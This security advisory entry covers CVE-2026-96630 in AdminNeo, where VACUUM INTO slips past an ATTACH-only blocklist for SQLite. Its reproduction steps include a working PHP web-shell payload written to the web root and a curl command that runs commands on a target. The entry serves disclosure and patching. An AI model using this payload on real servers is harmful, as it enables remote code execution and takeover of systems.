# CVE-2026-96630: AdminNeo: RCE via SQLite VACUUM INTO (ATTACH Blocklist Bypass)

> Archived entry. Full-text search covers entries since 2026-11-10; exact IDs work for all years.

- **Severity:** HIGH
- **Exploited in the wild:** Not in CISA KEV
- **Public exploit / PoC:** None known
- **Remote exploitation:** Unknown
- **Aliases:** GHSA-q5mp-gfjf-cf2j
- **Published:** 2026-10-30T22:51:37.000Z
- **Modified:** 2026-10-30T23:00:04.373Z

## Who should check

- Projects that depend on Packagist package adminneo-org/adminneo (\< 5.5.1)

## Description

\#\# Summary
Adminer blocks \`ATTACH\` queries for SQLite to prevent arbitrary file creation. However, \`VACUUM INTO\` is not blocked and achieves the same result: writing a database file containing attacker-controlled PHP code to any path with any extension. An authenticated SQLite user can write a web shell to the web root and execute commands.

Originally reported in Adminer: \[GHSA-q4f2-39gr-45jh\](https://github.com/vrana/adminer/security/advisories/GHSA-gmx3-g29w-77wf)

\#\# Root Cause
sql.inc.php, line 146:

\`\`\`php
if (DIALECT == "sqlite" && preg\_match("~^$space\*+ATTACH\\\\b~i", $q, $match)) {
    // blocked
}
\`\`\`

Only \`ATTACH\` is in the blocklist. \`VACUUM INTO\` (available since SQLite 3.27.0) writes the entire database to a new file at an arbitrary path with an arbitrary extension. It is not checked.

\#\# Steps To Reproduce

\#\#\# 1.  Login to SQLite
1. Open AdminNeo and select driver: \*\*SQLite\*\*
2. Login and create a new database (e.g., \`stage.db\`)

\#\#\# 2. Inject PHP code and write the shell

Navigate to \*\*SQL command\*\* and execute:

\`\`\`sql
CREATE TABLE "\<?php system($\_GET\['c'\]); ?\>" (i int);
VACUUM INTO '/var/www/html/shell.php';
\`\`\`

The SQLite file is written to \`/var/www/html/shell.php\`. The table name containing \`\<?php\` appears as raw bytes in the file. PHP's parser finds and executes it.

\#\#\# 3. Execute commands

\`\`\`shell
curl "http://TARGET/shell.php?c=id"
\# uid=0(root) gid=0(root) groups=0(root)
\`\`\`

\#\# Collaborator Request

This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!

## Affected and fixed versions

- Packagist `adminneo-org/adminneo`: affected \< 5.5.1; fixed 5.5.1 (osv)

## Mitigation

- Upgrade adminneo-org/adminneo to 5.5.1 or later.

## Check your systems with an agent

Paste this into a coding agent:

```text
Check whether anything I run is affected by CVE-2026-96630. Work read-only: do not install, upgrade, delete or change anything.

Details: https://flawdb.com/CVE-2026-96630.md
Affected: adminneo-org/adminneo < 5.5.1
Fixed in: 5.5.1

Steps:
1. Search this machine and project for adminneo-org/adminneo (Packagist): dependency manifests and lockfiles, installed packages, container images and running services.
2. For each match, note the installed version and whether it is inside the affected range.
3. Report a table: location, installed version, affected (yes / no / unsure), evidence. If affected, say which fixed version or mitigation from the details link applies, but don't apply it.
```

## FAQ

### Is CVE-2026-96630 being exploited?

There is no confirmed exploitation: CVE-2026-96630 is not in the CISA Known Exploited Vulnerabilities catalog. No public exploit code is known.

### How serious is CVE-2026-96630?

It has no CVSS score yet. Unknown.

### Which versions are affected by CVE-2026-96630?

adminneo-org/adminneo \< 5.5.1.

### Is there a fix for CVE-2026-96630?

Yes. Fixed in 5.5.1. Upgrade adminneo-org/adminneo to 5.5.1 or later.

### How do I check if I'm affected by CVE-2026-96630?

Find where you use the affected software (dependency lockfiles, installed packages, container images, servers) and compare the installed version with the affected range above. The agent prompt on this page does this read-only.

## References

- vendor: <https://github.com/adminneo-org/adminneo/security/advisories/GHSA-q5mp-gfjf-cf2j>
- patch: <https://github.com/adminneo-org/adminneo/commit/cf45efb3ac34e5e7b699cdc996f6eec2814ccda1>
- other: <https://github.com/adminneo-org/adminneo>
- other: <https://github.com/adminneo-org/adminneo/releases/tag/v5.5.1>

## Attribution

- CVE Program: CVE® is a registered trademark of The MITRE Corporation. CVE records © 1999–2026 The MITRE Corporation. <https://www.cve.org/Legal/TermsOfUse>
- OSV: CC-BY 4.0 <https://osv.dev/vulnerability/GHSA-q5mp-gfjf-cf2j> (license: <https://creativecommons.org/licenses/by/4.0/>)

HTML: <https://flawdb.com/CVE-2026-96630> · JSON: <https://flawdb.com/api/v1/entries/CVE-2026-96630>
